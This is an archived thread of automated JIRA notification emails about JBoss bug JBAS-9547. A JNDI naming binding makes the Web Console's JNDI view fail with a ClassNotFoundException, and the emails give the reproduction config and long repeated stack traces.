From: jira-events at lists.jboss.org (Marco Bazzani (JIRA))
Date: Wed, 11 Sep 2013 05:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBAS-9547) Web Console JNDI view
 classnotfoundexcpetion
In-Reply-To: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500212.1378473928000.19922.1378892224038@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBAS-9547?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marco Bazzani updated JBAS-9547:
--------------------------------

    Description: 
JNDI View button in web console doesn't work

To reproduce:

add 
{code:xml}
        <subsystem xmlns="urn:jboss:domain:naming:1.3">
            <bindings>
                <lookup name="java:/ejb/Example" lookup="core/core-ejb/Example!com.example.IauthRemote"/>
            </bindings>
        </subsystem>
{code}
click on jndi view and you'll got the following error:

{code}

15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
eption: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
.1\modules\system\layers\base))]]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
        at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
        at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
        at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
        at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
        at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
        at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
        ... 33 more
Caused by: java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
        at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
        at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
        ... 40 more


{code}

The problem occurs in any case if the core.ear is deployed or not.

  was:
JNDI View button in web console doesn't work

To reproduce:

add 
{code:xml}
        <subsystem xmlns="urn:jboss:domain:naming:1.3">
            <bindings>
                <lookup name="java:/ejb/Example" lookup="core/core-ejb/Example!com.example.IauthRemote"/>
            </bindings>
        </subsystem>
{code}
click on jndi view and you'll got the following error:

{code}

15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
eption: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autentica
te.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
.1\modules\system\layers\base))]]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
        at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
        at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
        at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
        at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebill
ing.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
        at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
        at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
        ... 33 more
Caused by: java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
        at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
        at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
        ... 40 more


{code}

The problem occurs in any case if the basemodule-core.ear is deployed or not.


    
> Web Console JNDI view classnotfoundexcpetion
> --------------------------------------------
>
>                 Key: JBAS-9547
>                 URL: https://issues.jboss.org/browse/JBAS-9547
>             Project: Application Server 3  4  5 and 6
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Web Console
>    Affects Versions: 6.1.0
>         Environment: any
>            Reporter: Marco Bazzani
>              Labels: console, jndi
>
> JNDI View button in web console doesn't work
> To reproduce:
> add 
> {code:xml}
>         <subsystem xmlns="urn:jboss:domain:naming:1.3">
>             <bindings>
>                 <lookup name="java:/ejb/Example" lookup="core/core-ejb/Example!com.example.IauthRemote"/>
>             </bindings>
>         </subsystem>
> {code}
> click on jndi view and you'll got the following error:
> {code}
> 15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
> eption: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
> .1\modules\system\layers\base))]]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
>         at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
>         at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
>         at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
>         at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
>         at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
> Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
> les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
>         at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
>         at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
>         ... 33 more
> Caused by: java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
> 65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
>         at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
>         at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
>         ... 40 more
> {code}
> The problem occurs in any case if the core.ear is deployed or not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:39:03 2013
From: jira-events at lists.jboss.org (Marco Bazzani (JIRA))
Date: Wed, 11 Sep 2013 05:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBAS-9547) Web Console JNDI view
 classnotfoundexcpetion
In-Reply-To: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500212.1378473928000.19928.1378892343758@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBAS-9547?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marco Bazzani updated JBAS-9547:
--------------------------------

    Description: 
JNDI View button in web console doesn't work

To reproduce:

add 
{code:xml}
        <subsystem xmlns="urn:jboss:domain:naming:1.3">
            <bindings>
                <lookup name="java:/ejb/Example" lookup="core/core-ejb/Example!com.example.IauthRemote"/>
            </bindings>
        </subsystem>
{code}
click on jndi view and you'll got the following error:

{code}

15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
eption: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\test\jboss-eap-6.1\modules,C:\Users\test\jboss-eap-6
.1\modules\system\layers\base))]]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
        at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
        at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
        at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
